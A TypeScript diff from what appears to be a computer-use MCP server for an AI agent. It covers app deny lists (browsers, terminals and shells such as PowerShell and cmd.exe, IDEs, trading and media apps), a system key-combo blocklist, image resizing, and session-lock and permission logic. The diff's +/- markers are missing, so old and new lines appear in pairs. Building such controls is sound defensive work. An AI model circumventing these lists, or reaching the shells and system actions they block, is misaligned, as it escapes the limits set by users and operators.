"com.amazon.Kindle", // legacy desktop, discontinued
"com.amazon.Lassen", // current Mac App Store (iOS-on-Mac)
"com.kobo.desktop.Kobo",
'net.kovidgoyal.calibre',
'com.amazon.Kindle', // legacy desktop, discontinued
'com.amazon.Lassen', // current Mac App Store (iOS-on-Mac)
'com.kobo.desktop.Kobo',
// No native macOS app (name-substring only): Netflix, Disney+, Hulu,
// HBO Max, Peacock, Paramount+, YouTube, Crunchyroll, Tubi, Vudu,
// Audible, Reddit, NYTimes. Their iOS apps don't opt into iPad-on-Mac.
]);
])
const POLICY_DENIED_NAME_SUBSTRINGS: readonly string[] = [
// Video streaming
"netflix",
"disney+",
"hulu",
"prime video",
"apple tv",
"peacock",
"paramount+",
'netflix',
'disney+',
'hulu',
'prime video',
'apple tv',
'peacock',
'paramount+',
// "plex" is too generic — would match "Perplexity". Covered by
// tv.plex.* bundle IDs on macOS.
"tubi",
"crunchyroll",
"vudu",
'tubi',
'crunchyroll',
'vudu',
// E-readers / audiobooks
"kindle",
"apple books",
"kobo",
"play books",
"calibre",
"libby",
"readium",
"audible",
"libro.fm",
"speechify",
'kindle',
'apple books',
'kobo',
'play books',
'calibre',
'libby',
'readium',
'audible',
'libro.fm',
'speechify',
// Music
"spotify",
"apple music",
"amazon music",
"youtube music",
"tidal",
"deezer",
"pandora",
"pocket casts",
'spotify',
'apple music',
'amazon music',
'youtube music',
'tidal',
'deezer',
'pandora',
'pocket casts',
// Publisher / social apps (from the same blocklist tab)
"naver",
"reddit",
"sony music",
"vegas pro",
"pitchfork",
"economist",
"nytimes",
'naver',
'reddit',
'sony music',
'vegas pro',
'pitchfork',
'economist',
'nytimes',
// Skipped (too generic for substring matching — need bundle ID):
// HBO Max / Max, YouTube (non-Music), Nook, Sony Catalyst, Wired
];
]
/**
* Policy-level auto-deny. Unlike `userDeniedBundleIds` (per-user Settings
@@ -298,19 +298,19 @@ export function isPolicyDenied(
bundleId: string | undefined,
displayName: string,
): boolean {
if (bundleId && POLICY_DENIED_BUNDLE_IDS.has(bundleId)) return true;
const lower = displayName.toLowerCase();
if (bundleId && POLICY_DENIED_BUNDLE_IDS.has(bundleId)) return true
const lower = displayName.toLowerCase()
for (const sub of POLICY_DENIED_NAME_SUBSTRINGS) {
if (lower.includes(sub)) return true;
if (lower.includes(sub)) return true
}
return false;
return false
}
export function getDeniedCategory(bundleId: string): DeniedCategory | null {
if (BROWSER_BUNDLE_IDS.has(bundleId)) return "browser";
if (TERMINAL_BUNDLE_IDS.has(bundleId)) return "terminal";
if (TRADING_BUNDLE_IDS.has(bundleId)) return "trading";
return null;
if (BROWSER_BUNDLE_IDS.has(bundleId)) return 'browser'
if (TERMINAL_BUNDLE_IDS.has(bundleId)) return 'terminal'
if (TRADING_BUNDLE_IDS.has(bundleId)) return 'trading'
return null
}
// ─── Display-name fallback (cross-platform) ──────────────────────────────
@@ -325,160 +325,160 @@ export function getDeniedCategory(bundleId: string): DeniedCategory | null {
* first match, but groupings are by category for readability).
*/
const BROWSER_NAME_SUBSTRINGS: readonly string[] = [
"safari",
"chrome",
"firefox",
"microsoft edge",
"brave",
"opera",
"vivaldi",
"chromium",
'safari',
'chrome',
'firefox',
'microsoft edge',
'brave',
'opera',
'vivaldi',
'chromium',
// Arc/Dia: the canonical display name is just "Arc"/"Dia" — too short for
// substring matching (false-positives: "Arcade", "Diagram"). Covered by
// bundle ID on macOS. The "... browser" entries below catch natural-language
// phrasings ("the arc browser") but NOT the canonical short name.
"arc browser",
"tor browser",
"duckduckgo",
"yandex",
"orion browser",
'arc browser',
'tor browser',
'duckduckgo',
'yandex',
'orion browser',
// Agentic / AI browsers
"comet", // Perplexity's browser — "Comet" substring risks false positives
'comet', // Perplexity's browser — "Comet" substring risks false positives
// but leaving for now; "comet" in an app name is rare
"sigmaos",
"dia browser",
];
'sigmaos',
'dia browser',
]
const TERMINAL_NAME_SUBSTRINGS: readonly string[] = [
// macOS / cross-platform terminals
"terminal", // catches Terminal, Windows Terminal (NOT iTerm — separate entry)
"iterm",
"wezterm",
"alacritty",
"kitty",
"ghostty",
"tabby",
"termius",
'terminal', // catches Terminal, Windows Terminal (NOT iTerm — separate entry)
'iterm',
'wezterm',
'alacritty',
'kitty',
'ghostty',
'tabby',
'termius',
// AppleScript runners — see bundle-ID comment above. "shortcuts" is too
// generic for substring matching (many apps have "shortcuts" in the name);
// covered by bundle ID only, like warp/hyper.
"script editor",
"automator",
'script editor',
'automator',
// NOTE: "warp" and "hyper" are too generic for substring matching —
// they'd false-positive on "Warpaint" or "Hyperion". Covered by bundle ID
// (dev.warp.Warp-Stable, co.zeit.hyper) for macOS; Windows exe-name
// matching can be added when Windows CU ships.
// Windows shells (activate when the darwin gate lifts)
"powershell",
"cmd.exe",
"command prompt",
"git bash",
"conemu",
"cmder",
'powershell',
'cmd.exe',
'command prompt',
'git bash',
'conemu',
'cmder',
// IDEs (VS Code family)
"visual studio code",
"visual studio", // catches VS for Mac + Windows
"vscode",
"vs code",
"vscodium",
"cursor", // Cursor IDE — "cursor" is generic but IDE is the only common app
"windsurf",
'visual studio code',
'visual studio', // catches VS for Mac + Windows
'vscode',
'vs code',
'vscodium',
'cursor', // Cursor IDE — "cursor" is generic but IDE is the only common app
'windsurf',
// Zed: display name is just "Zed" — too short for substring matching
// (false-positives). Covered by bundle ID (dev.zed.Zed) on macOS.
// IDEs (JetBrains family)
"intellij",
"pycharm",
"webstorm",
"clion",
"goland",
"rubymine",
"phpstorm",
"datagrip",
"rider",
"appcode",
"rustrover",
"fleet",
"android studio",
'intellij',
'pycharm',
'webstorm',
'clion',
'goland',
'rubymine',
'phpstorm',
'datagrip',
'rider',
'appcode',
'rustrover',
'fleet',
'android studio',
// Other IDEs
"sublime text",
"macvim",
"neovim",
"emacs",
"xcode",
"eclipse",
"netbeans",
];
'sublime text',
'macvim',
'neovim',
'emacs',
'xcode',
'eclipse',
'netbeans',
]
const TRADING_NAME_SUBSTRINGS: readonly string[] = [
// Trading — brokerage apps. Sourced from the ACP CU-apps blocklist xlsx
// ("Read Only" tab). Name-substring safe for proper nouns below; generic
// names (IG, Delta, HTX) are skipped and need bundle-ID matching once
// verified.
"bloomberg",
"ameritrade",
"thinkorswim",
"schwab",
"fidelity",
"e*trade",
"interactive brokers",
"trader workstation", // Interactive Brokers TWS
"tradestation",
"webull",
"robinhood",
"tastytrade",
"ninjatrader",
"tradingview",
"moomoo",
"tradezero",
"prorealtime",
"plus500",
"saxotrader",
"oanda",
"metatrader",
"forex.com",
"avaoptions",
"ctrader",
"jforex",
"iq option",
"olymp trade",
"binomo",
"pocket option",
"raceoption",
"expertoption",
"quotex",
"naga",
"morgan stanley",
"ubs neo",
"eikon", // Thomson Reuters / LSEG Workspace
'bloomberg',
'ameritrade',
'thinkorswim',
'schwab',
'fidelity',
'e*trade',
'interactive brokers',
'trader workstation', // Interactive Brokers TWS
'tradestation',
'webull',
'robinhood',
'tastytrade',
'ninjatrader',
'tradingview',
'moomoo',
'tradezero',
'prorealtime',
'plus500',
'saxotrader',
'oanda',
'metatrader',
'forex.com',
'avaoptions',
'ctrader',
'jforex',
'iq option',
'olymp trade',
'binomo',
'pocket option',
'raceoption',
'expertoption',
'quotex',
'naga',
'morgan stanley',
'ubs neo',
'eikon', // Thomson Reuters / LSEG Workspace
// Crypto — exchanges, wallets, portfolio trackers
"coinbase",
"kraken",
"binance",
"okx",
"bybit",
'coinbase',
'kraken',
'binance',
'okx',
'bybit',
// "gate.io" is too generic — the ".io" TLD suffix is common in app names
// (e.g., "Draw.io"). Needs bundle-ID matching once verified.
"phemex",
"stormgain",
"crypto.com",
'phemex',
'stormgain',
'crypto.com',
// "exodus" is too generic — it's a common noun and would match unrelated
// apps/games. Needs bundle-ID matching once verified.
"electrum",
"ledger live",
"trezor",
"guarda",
"atomic wallet",
"bitpay",
"bisq",
"koinly",
"cointracker",
"blockfi",
"stripe cli",
'electrum',
'ledger live',
'trezor',
'guarda',
'atomic wallet',
'bitpay',
'bisq',
'koinly',
'cointracker',
'blockfi',
'stripe cli',
// Crypto games / metaverse (same trade-execution risk model)
"decentraland",
"axie infinity",
"gods unchained",
];
'decentraland',
'axie infinity',
'gods unchained',
]
/**
* Display-name substring match. Called when bundle-ID resolution returned
@@ -491,20 +491,20 @@ const TRADING_NAME_SUBSTRINGS: readonly string[] = [
export function getDeniedCategoryByDisplayName(
name: string,
): DeniedCategory | null {
const lower = name.toLowerCase();
const lower = name.toLowerCase()
// Trading first — proper-noun-only set, most specific. "Bloomberg Terminal"
// contains "terminal" and would miscategorize if TERMINAL_NAME_SUBSTRINGS
// ran first.
for (const sub of TRADING_NAME_SUBSTRINGS) {
if (lower.includes(sub)) return "trading";
if (lower.includes(sub)) return 'trading'
}
for (const sub of BROWSER_NAME_SUBSTRINGS) {
if (lower.includes(sub)) return "browser";
if (lower.includes(sub)) return 'browser'
}
for (const sub of TERMINAL_NAME_SUBSTRINGS) {
if (lower.includes(sub)) return "terminal";
if (lower.includes(sub)) return 'terminal'
}
return null;
return null
}
/**
@@ -520,10 +520,10 @@ export function getDeniedCategoryForApp(
displayName: string,
): DeniedCategory | null {
if (bundleId) {
const byId = getDeniedCategory(bundleId);
if (byId) return byId;
const byId = getDeniedCategory(bundleId)
if (byId) return byId
}
return getDeniedCategoryByDisplayName(displayName);
return getDeniedCategoryByDisplayName(displayName)
}
/**
@@ -537,8 +537,8 @@ export function getDeniedCategoryForApp(
export function getDefaultTierForApp(
bundleId: string | undefined,
displayName: string,
): "read" | "click" | "full" {
return categoryToTier(getDeniedCategoryForApp(bundleId, displayName));
): 'read' | 'click' | 'full' {
return categoryToTier(getDeniedCategoryForApp(bundleId, displayName))
}
export const _test = {
@@ -550,4 +550,4 @@ export const _test = {
TERMINAL_NAME_SUBSTRINGS,
TRADING_NAME_SUBSTRINGS,
POLICY_DENIED_NAME_SUBSTRINGS,
};
}

View File

@@ -116,9 +116,17 @@ export interface ComputerExecutor {
// ── Window management (Windows only, optional) ──────────────────────────
/** Perform a window management action on the bound window. Win32 API only — no global shortcuts. */
manageWindow?(action: string, opts?: { x?: number; y?: number; width?: number; height?: number }): Promise<boolean>
manageWindow?(
action: string,
opts?: { x?: number; y?: number; width?: number; height?: number },
): Promise<boolean>
/** Get the current window rect of the bound window */
getWindowRect?(): Promise<{ x: number; y: number; width: number; height: number } | null>
getWindowRect?(): Promise<{
x: number
y: number
width: number
height: number
} | null>
// ── Element-targeted actions (Windows UIA, optional) ────────────────────
/** Open terminal and launch an agent CLI */
@@ -129,17 +137,32 @@ export interface ComputerExecutor {
workingDirectory?: string
}): Promise<{ hwnd: string; title: string; launched: boolean } | null>
/** Bind to a window by hwnd/title/pid. Returns bound window info or null. */
bindToWindow?(query: { hwnd?: string; title?: string; pid?: number }): Promise<{ hwnd: string; title: string; pid: number } | null>
bindToWindow?(query: {
hwnd?: string
title?: string
pid?: number
}): Promise<{ hwnd: string; title: string; pid: number } | null>
/** Unbind from the current window */
unbindFromWindow?(): Promise<void>
/** Cheap binding-state check for window-targeted routing decisions. */
hasBoundWindow?(): Promise<boolean>
/** Get current binding status */
getBindingStatus?(): Promise<{ bound: boolean; hwnd?: string; title?: string; pid?: number; rect?: { x: number; y: number; width: number; height: number } } | null>
getBindingStatus?(): Promise<{
bound: boolean
hwnd?: string
title?: string
pid?: number
rect?: { x: number; y: number; width: number; height: number }
} | null>
/** List all visible windows */
listVisibleWindows?(): Promise<Array<{ hwnd: string; pid: number; title: string }>>
listVisibleWindows?(): Promise<
Array<{ hwnd: string; pid: number; title: string }>
>
/** Control the status indicator overlay */
statusIndicator?(action: 'show' | 'hide' | 'status', message?: string): Promise<{ active: boolean; message?: string }>
statusIndicator?(
action: 'show' | 'hide' | 'status',
message?: string,
): Promise<{ active: boolean; message?: string }>
/** Virtual keyboard — send keys/text/combos to bound window only */
virtualKeyboard?(opts: {
action: 'type' | 'combo' | 'press' | 'release' | 'hold'
@@ -149,12 +172,26 @@ export interface ComputerExecutor {
}): Promise<boolean>
/** Virtual mouse — click/move/drag on bound window only */
virtualMouse?(opts: {
action: 'click' | 'double_click' | 'right_click' | 'move' | 'drag' | 'down' | 'up'
x: number; y: number
startX?: number; startY?: number
action:
| 'click'
| 'double_click'
| 'right_click'
| 'move'
| 'drag'
| 'down'
| 'up'
x: number
y: number
startX?: number
startY?: number
}): Promise<boolean>
/** Mouse wheel scroll at client coordinates (works on Excel, browsers, modern UI) */
mouseWheel?(x: number, y: number, delta: number, horizontal?: boolean): Promise<boolean>
mouseWheel?(
x: number,
y: number,
delta: number,
horizontal?: boolean,
): Promise<boolean>
/** Activate the bound window (foreground + click to focus) */
activateWindow?(clickX?: number, clickY?: number): Promise<boolean>
/** Handle a terminal prompt (yes/no/select/type + enter) */
@@ -165,7 +202,14 @@ export interface ComputerExecutor {
text?: string
}): Promise<boolean>
/** Click an element by name/role/automationId via UI Automation */
clickElement?(query: { name?: string; role?: string; automationId?: string }): Promise<boolean>
clickElement?(query: {
name?: string
role?: string
automationId?: string
}): Promise<boolean>
/** Type text into an element by name/role/automationId via UI Automation ValuePattern */
typeIntoElement?(query: { name?: string; role?: string; automationId?: string }, text: string): Promise<boolean>
typeIntoElement?(
query: { name?: string; role?: string; automationId?: string },
text: string,
): Promise<boolean>
}

View File

@@ -13,9 +13,9 @@
*/
export interface ResizeParams {
pxPerToken: number;
maxTargetPx: number;
maxTargetTokens: number;
pxPerToken: number
maxTargetPx: number
maxTargetTokens: number
}
/**
@@ -27,11 +27,11 @@ export const API_RESIZE_PARAMS: ResizeParams = {
pxPerToken: 28,
maxTargetPx: 1568,
maxTargetTokens: 1568,
};
}
/** ceil(px / pxPerToken). Matches resize.rs:74-76 (which uses integer ceil-div). */
export function nTokensForPx(px: number, pxPerToken: number): number {
return Math.floor((px - 1) / pxPerToken) + 1;
return Math.floor((px - 1) / pxPerToken) + 1
}
function nTokensForImg(
@@ -39,7 +39,7 @@ function nTokensForImg(
height: number,
pxPerToken: number,
): number {
return nTokensForPx(width, pxPerToken) * nTokensForPx(height, pxPerToken);
return nTokensForPx(width, pxPerToken) * nTokensForPx(height, pxPerToken)
}
/**
@@ -62,47 +62,47 @@ export function targetImageSize(
height: number,
params: ResizeParams,
): [number, number] {
const { pxPerToken, maxTargetPx, maxTargetTokens } = params;
const { pxPerToken, maxTargetPx, maxTargetTokens } = params
if (
width <= maxTargetPx &&
height <= maxTargetPx &&
nTokensForImg(width, height, pxPerToken) <= maxTargetTokens
) {
return [width, height];
return [width, height]
}
// Normalize to landscape for the search; transpose result back.
if (height > width) {
const [w, h] = targetImageSize(height, width, params);
return [h, w];
const [w, h] = targetImageSize(height, width, params)
return [h, w]
}
const aspectRatio = width / height;
const aspectRatio = width / height
// Loop invariant: lowerBoundWidth is always valid, upperBoundWidth is
// always invalid. ~12 iterations for a 4000px image.
let upperBoundWidth = width;
let lowerBoundWidth = 1;
let upperBoundWidth = width
let lowerBoundWidth = 1
for (;;) {
if (lowerBoundWidth + 1 === upperBoundWidth) {
return [
lowerBoundWidth,
Math.max(Math.round(lowerBoundWidth / aspectRatio), 1),
];
]
}
const middleWidth = Math.floor((lowerBoundWidth + upperBoundWidth) / 2);
const middleHeight = Math.max(Math.round(middleWidth / aspectRatio), 1);
const middleWidth = Math.floor((lowerBoundWidth + upperBoundWidth) / 2)
const middleHeight = Math.max(Math.round(middleWidth / aspectRatio), 1)
if (
middleWidth <= maxTargetPx &&
nTokensForImg(middleWidth, middleHeight, pxPerToken) <= maxTargetTokens
) {
lowerBoundWidth = middleWidth;
lowerBoundWidth = middleWidth
} else {
upperBoundWidth = middleWidth;
upperBoundWidth = middleWidth
}
}
}

View File

@@ -6,7 +6,7 @@ export type {
ResolvePrepareCaptureResult,
RunningApp,
ScreenshotResult,
} from "./executor.js";
} from './executor.js'
export type {
AppGrant,
@@ -25,15 +25,15 @@ export type {
ScreenshotDims,
TeachStepRequest,
TeachStepResult,
} from "./types.js";
} from './types.js'
export { DEFAULT_GRANT_FLAGS } from "./types.js";
export { DEFAULT_GRANT_FLAGS } from './types.js'
export {
SENTINEL_BUNDLE_IDS,
getSentinelCategory,
} from "./sentinelApps.js";
export type { SentinelCategory } from "./sentinelApps.js";
} from './sentinelApps.js'
export type { SentinelCategory } from './sentinelApps.js'
export {
categoryToTier,
@@ -42,28 +42,28 @@ export {
getDeniedCategoryByDisplayName,
getDeniedCategoryForApp,
isPolicyDenied,
} from "./deniedApps.js";
export type { DeniedCategory } from "./deniedApps.js";
} from './deniedApps.js'
export type { DeniedCategory } from './deniedApps.js'
export { isSystemKeyCombo, normalizeKeySequence } from "./keyBlocklist.js";
export { isSystemKeyCombo, normalizeKeySequence } from './keyBlocklist.js'
export { ALL_SUB_GATES_OFF, ALL_SUB_GATES_ON } from "./subGates.js";
export { ALL_SUB_GATES_OFF, ALL_SUB_GATES_ON } from './subGates.js'
export { API_RESIZE_PARAMS, targetImageSize } from "./imageResize.js";
export type { ResizeParams } from "./imageResize.js";
export { API_RESIZE_PARAMS, targetImageSize } from './imageResize.js'
export type { ResizeParams } from './imageResize.js'
export { defersLockAcquire, handleToolCall } from "./toolCalls.js";
export { defersLockAcquire, handleToolCall } from './toolCalls.js'
export type {
CuCallTelemetry,
CuCallToolResult,
CuErrorKind,
} from "./toolCalls.js";
} from './toolCalls.js'
export { bindSessionContext, createComputerUseMcpServer } from "./mcpServer.js";
export { buildComputerUseTools } from "./tools.js";
export { bindSessionContext, createComputerUseMcpServer } from './mcpServer.js'
export { buildComputerUseTools } from './tools.js'
export {
comparePixelAtLocation,
validateClickTarget,
} from "./pixelCompare.js";
export type { CropRawPatchFn, PixelCompareResult } from "./pixelCompare.js";
} from './pixelCompare.js'
export type { CropRawPatchFn, PixelCompareResult } from './pixelCompare.js'

View File

@@ -21,32 +21,32 @@
*/
const CANONICAL_MODIFIER: Readonly<Record<string, string>> = {
// Key::Meta — "meta"|"super"|"command"|"cmd"|"windows"|"win"
meta: "meta",
super: "meta",
command: "meta",
cmd: "meta",
windows: "meta",
win: "meta",
meta: 'meta',
super: 'meta',
command: 'meta',
cmd: 'meta',
windows: 'meta',
win: 'meta',
// Key::Control + LControl + RControl
ctrl: "ctrl",
control: "ctrl",
lctrl: "ctrl",
lcontrol: "ctrl",
rctrl: "ctrl",
rcontrol: "ctrl",
ctrl: 'ctrl',
control: 'ctrl',
lctrl: 'ctrl',
lcontrol: 'ctrl',
rctrl: 'ctrl',
rcontrol: 'ctrl',
// Key::Shift + LShift + RShift
shift: "shift",
lshift: "shift",
rshift: "shift",
shift: 'shift',
lshift: 'shift',
rshift: 'shift',
// Key::Alt and Key::Option — distinct Rust variants but same keycode on
// darwin (kVK_Option). Collapse: cmd+alt+escape and cmd+option+escape
// both Force Quit.
alt: "alt",
option: "alt",
};
alt: 'alt',
option: 'alt',
}
/** Sort order for canonicals. ctrl < alt < shift < meta. */
const MODIFIER_ORDER = ["ctrl", "alt", "shift", "meta"];
const MODIFIER_ORDER = ['ctrl', 'alt', 'shift', 'meta']
/**
* Canonical-form entries only. Every modifier must be a CANONICAL_MODIFIER
@@ -54,21 +54,21 @@ const MODIFIER_ORDER = ["ctrl", "alt", "shift", "meta"];
* The self-consistency test enforces this.
*/
const BLOCKED_DARWIN = new Set([
"meta+q", // Cmd+Q — quit frontmost app
"shift+meta+q", // Cmd+Shift+Q — log out
"alt+meta+escape", // Cmd+Option+Esc — Force Quit dialog
"meta+tab", // Cmd+Tab — app switcher
"meta+space", // Cmd+Space — Spotlight
"ctrl+meta+q", // Ctrl+Cmd+Q — lock screen
]);
'meta+q', // Cmd+Q — quit frontmost app
'shift+meta+q', // Cmd+Shift+Q — log out
'alt+meta+escape', // Cmd+Option+Esc — Force Quit dialog
'meta+tab', // Cmd+Tab — app switcher
'meta+space', // Cmd+Space — Spotlight
'ctrl+meta+q', // Ctrl+Cmd+Q — lock screen
])
const BLOCKED_WIN32 = new Set([
"ctrl+alt+delete", // Secure Attention Sequence
"alt+f4", // close window
"alt+tab", // window switcher
"meta+l", // Win+L — lock
"meta+d", // Win+D — show desktop
]);
'ctrl+alt+delete', // Secure Attention Sequence
'alt+f4', // close window
'alt+tab', // window switcher
'meta+l', // Win+L — lock
'meta+d', // Win+D — show desktop
])
/**
* Partition into sorted-canonical modifiers and non-modifier keys.
@@ -78,25 +78,25 @@ const BLOCKED_WIN32 = new Set([
function partitionKeys(seq: string): { mods: string[]; keys: string[] } {
const parts = seq
.toLowerCase()
.split("+")
.map((p) => p.trim())
.filter(Boolean);
const mods: string[] = [];
const keys: string[] = [];
.split('+')
.map(p => p.trim())
.filter(Boolean)
const mods: string[] = []
const keys: string[] = []
for (const p of parts) {
const canonical = CANONICAL_MODIFIER[p];
const canonical = CANONICAL_MODIFIER[p]
if (canonical !== undefined) {
mods.push(canonical);
mods.push(canonical)
} else {
keys.push(p);
keys.push(p)
}
}
// Dedupe: "cmd+command+q" → "meta+q", not "meta+meta+q".
const uniqueMods = [...new Set(mods)];
const uniqueMods = [...new Set(mods)]
uniqueMods.sort(
(a, b) => MODIFIER_ORDER.indexOf(a) - MODIFIER_ORDER.indexOf(b),
);
return { mods: uniqueMods, keys };
)
return { mods: uniqueMods, keys }
}
/**
@@ -104,8 +104,8 @@ function partitionKeys(seq: string): { mods: string[]; keys: string[] } {
* canonical, dedupe, sort modifiers, non-modifiers last.
*/
export function normalizeKeySequence(seq: string): string {
const { mods, keys } = partitionKeys(seq);
return [...mods, ...keys].join("+");
const { mods, keys } = partitionKeys(seq)
return [...mods, ...keys].join('+')
}
/**
@@ -123,26 +123,26 @@ export function normalizeKeySequence(seq: string): string {
*/
export function isSystemKeyCombo(
seq: string,
platform: "darwin" | "win32",
platform: 'darwin' | 'win32',
): boolean {
const blocklist = platform === "darwin" ? BLOCKED_DARWIN : BLOCKED_WIN32;
const { mods, keys } = partitionKeys(seq);
const prefix = mods.length > 0 ? mods.join("+") + "+" : "";
const blocklist = platform === 'darwin' ? BLOCKED_DARWIN : BLOCKED_WIN32
const { mods, keys } = partitionKeys(seq)
const prefix = mods.length > 0 ? mods.join('+') + '+' : ''
// No non-modifier keys (e.g. "cmd+shift" as click-modifiers) — check the
// whole thing. Never matches (no blocklist entry is modifier-only) but
// keeps the contract simple: every call reaches a .has().
if (keys.length === 0) {
return blocklist.has(mods.join("+"));
return blocklist.has(mods.join('+'))
}
// mods + each key. Any hit blocks the whole sequence.
for (const key of keys) {
if (blocklist.has(prefix + key)) {
return true;
return true
}
}
return false;
return false
}
export const _test = {
@@ -150,4 +150,4 @@ export const _test = {
BLOCKED_DARWIN,
BLOCKED_WIN32,
MODIFIER_ORDER,
};
}

View File

@@ -17,21 +17,21 @@
* is the same either way.
*/
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js";
import { Server } from '@modelcontextprotocol/sdk/server/index.js'
import type { CallToolResult } from '@modelcontextprotocol/sdk/types.js'
import {
CallToolRequestSchema,
ListToolsRequestSchema,
} from "@modelcontextprotocol/sdk/types.js";
} from '@modelcontextprotocol/sdk/types.js'
import type { ScreenshotResult } from "./executor.js";
import type { CuCallToolResult } from "./toolCalls.js";
import type { ScreenshotResult } from './executor.js'
import type { CuCallToolResult } from './toolCalls.js'
import {
defersLockAcquire,
handleToolCall,
resetMouseButtonHeld,
} from "./toolCalls.js";
import { buildComputerUseTools } from "./tools.js";
} from './toolCalls.js'
import { buildComputerUseTools } from './tools.js'
import type {
AppGrant,
ComputerUseHostAdapter,
@@ -40,12 +40,12 @@ import type {
CoordinateMode,
CuGrantFlags,
CuPermissionResponse,
} from "./types.js";
import { DEFAULT_GRANT_FLAGS } from "./types.js";
} from './types.js'
import { DEFAULT_GRANT_FLAGS } from './types.js'
const DEFAULT_LOCK_HELD_MESSAGE =
"Another Claude session is currently using the computer. Wait for that " +
"session to finish, or find a non-computer-use approach.";
'Another Claude session is currently using the computer. Wait for that ' +
'session to finish, or find a non-computer-use approach.'
/**
* Dedupe `granted` into `existing` on bundleId, spread truthy-only flags over
@@ -60,20 +60,20 @@ function mergePermissionResponse(
existingFlags: CuGrantFlags,
response: CuPermissionResponse,
): { apps: AppGrant[]; flags: CuGrantFlags } {
const seen = new Set(existing.map((a) => a.bundleId));
const seen = new Set(existing.map(a => a.bundleId))
const apps = [
...existing,
...response.granted.filter((g) => !seen.has(g.bundleId)),
];
...response.granted.filter(g => !seen.has(g.bundleId)),
]
const truthyFlags = Object.fromEntries(
Object.entries(response.flags).filter(([, v]) => v === true),
);
)
const flags: CuGrantFlags = {
...DEFAULT_GRANT_FLAGS,
...existingFlags,
...truthyFlags,
};
return { apps, flags };
}
return { apps, flags }
}
/**
@@ -91,53 +91,53 @@ export function bindSessionContext(
coordinateMode: CoordinateMode,
ctx: ComputerUseSessionContext,
): (name: string, args: unknown) => Promise<CuCallToolResult> {
const { logger, serverName } = adapter;
const { logger, serverName } = adapter
// Screenshot blob persists here across calls — NOT on `ctx`. Hosts hold
// onto the returned dispatcher; that's the identity that matters.
let lastScreenshot: ScreenshotResult | undefined;
let lastScreenshot: ScreenshotResult | undefined
const wrapPermission = ctx.onPermissionRequest
? async (
req: Parameters<NonNullable<typeof ctx.onPermissionRequest>>[0],
signal: AbortSignal,
): Promise<CuPermissionResponse> => {
const response = await ctx.onPermissionRequest!(req, signal);
const response = await ctx.onPermissionRequest!(req, signal)
const { apps, flags } = mergePermissionResponse(
ctx.getAllowedApps(),
ctx.getGrantFlags(),
response,
);
)
logger.debug(
`[${serverName}] permission result: granted=${response.granted.length} denied=${response.denied.length}`,
);
ctx.onAllowedAppsChanged?.(apps, flags);
return response;
)
ctx.onAllowedAppsChanged?.(apps, flags)
return response
}
: undefined;
: undefined
const wrapTeachPermission = ctx.onTeachPermissionRequest
? async (
req: Parameters<NonNullable<typeof ctx.onTeachPermissionRequest>>[0],
signal: AbortSignal,
): Promise<CuPermissionResponse> => {
const response = await ctx.onTeachPermissionRequest!(req, signal);
const response = await ctx.onTeachPermissionRequest!(req, signal)
logger.debug(
`[${serverName}] teach permission result: granted=${response.granted.length} denied=${response.denied.length}`,
);
)
// Teach doesn't request grant flags — preserve existing.
const { apps } = mergePermissionResponse(
ctx.getAllowedApps(),
ctx.getGrantFlags(),
response,
);
)
ctx.onAllowedAppsChanged?.(apps, {
...DEFAULT_GRANT_FLAGS,
...ctx.getGrantFlags(),
});
return response;
})
return response
}
: undefined;
: undefined
return async (name, args) => {
// ─── Async lock gate ─────────────────────────────────────────────────
@@ -146,18 +146,18 @@ export function bindSessionContext(
// cross-process locks (O_EXCL file) await the real primitive here
// instead of pre-computing + feeding a fake sync result.
if (ctx.checkCuLock) {
const lock = await ctx.checkCuLock();
const lock = await ctx.checkCuLock()
if (lock.holder !== undefined && !lock.isSelf) {
const text =
ctx.formatLockHeldMessage?.(lock.holder) ?? DEFAULT_LOCK_HELD_MESSAGE;
ctx.formatLockHeldMessage?.(lock.holder) ?? DEFAULT_LOCK_HELD_MESSAGE
return {
content: [{ type: "text", text }],
content: [{ type: 'text', text }],
isError: true,
telemetry: { error_kind: "cu_lock_held" },
};
telemetry: { error_kind: 'cu_lock_held' },
}
}
if (lock.holder === undefined && !defersLockAcquire(name)) {
await ctx.acquireCuLock?.();
await ctx.acquireCuLock?.()
// Re-check: the awaits above yield the microtask queue, so another
// session's check+acquire can interleave with ours. Hosts where
// acquire is a no-op when already held (Cowork's CuLockManager) give
@@ -165,21 +165,21 @@ export function bindSessionContext(
// proceeding. The CLI's O_EXCL file lock would surface this as a throw from
// acquire instead; this re-check is a belt-and-suspenders for that
// path too.
const recheck = await ctx.checkCuLock();
const recheck = await ctx.checkCuLock()
if (recheck.holder !== undefined && !recheck.isSelf) {
const text =
ctx.formatLockHeldMessage?.(recheck.holder) ??
DEFAULT_LOCK_HELD_MESSAGE;
DEFAULT_LOCK_HELD_MESSAGE
return {
content: [{ type: "text", text }],
content: [{ type: 'text', text }],
isError: true,
telemetry: { error_kind: "cu_lock_held" },
};
telemetry: { error_kind: 'cu_lock_held' },
}
}
// Fresh holder → any prior session's mouseButtonHeld is stale.
// Mirrors what Gate-3 does on the acquire branch. After the
// re-check so we only clear module state when we actually won.
resetMouseButtonHeld();
resetMouseButtonHeld()
}
}
@@ -189,12 +189,12 @@ export function bindSessionContext(
// isEmpty → skip.
const dimsFallback = lastScreenshot
? undefined
: ctx.getLastScreenshotDims?.();
: ctx.getLastScreenshotDims?.()
// Per-call AbortController for dialog dismissal. Aborted in `finally` —
// if handleToolCall finishes (MCP timeout, throw) before the user
// answers, the host's dialog handler sees the abort and tears down.
const dialogAbort = new AbortController();
const dialogAbort = new AbortController()
const overrides: ComputerUseOverrides = {
allowedApps: [...ctx.getAllowedApps()],
@@ -206,12 +206,12 @@ export function bindSessionContext(
displayResolvedForApps: ctx.getDisplayResolvedForApps?.(),
lastScreenshot:
lastScreenshot ??
(dimsFallback ? { ...dimsFallback, base64: "" } : undefined),
(dimsFallback ? { ...dimsFallback, base64: '' } : undefined),
onPermissionRequest: wrapPermission
? (req) => wrapPermission(req, dialogAbort.signal)
? req => wrapPermission(req, dialogAbort.signal)
: undefined,
onTeachPermissionRequest: wrapTeachPermission
? (req) => wrapTeachPermission(req, dialogAbort.signal)
? req => wrapTeachPermission(req, dialogAbort.signal)
: undefined,
onAppsHidden: ctx.onAppsHidden,
getClipboardStash: ctx.getClipboardStash,
@@ -228,28 +228,28 @@ export function bindSessionContext(
checkCuLock: undefined,
acquireCuLock: undefined,
isAborted: ctx.isAborted,
};
}
logger.debug(
`[${serverName}] tool=${name} allowedApps=${overrides.allowedApps.length} coordMode=${coordinateMode}`,
);
)
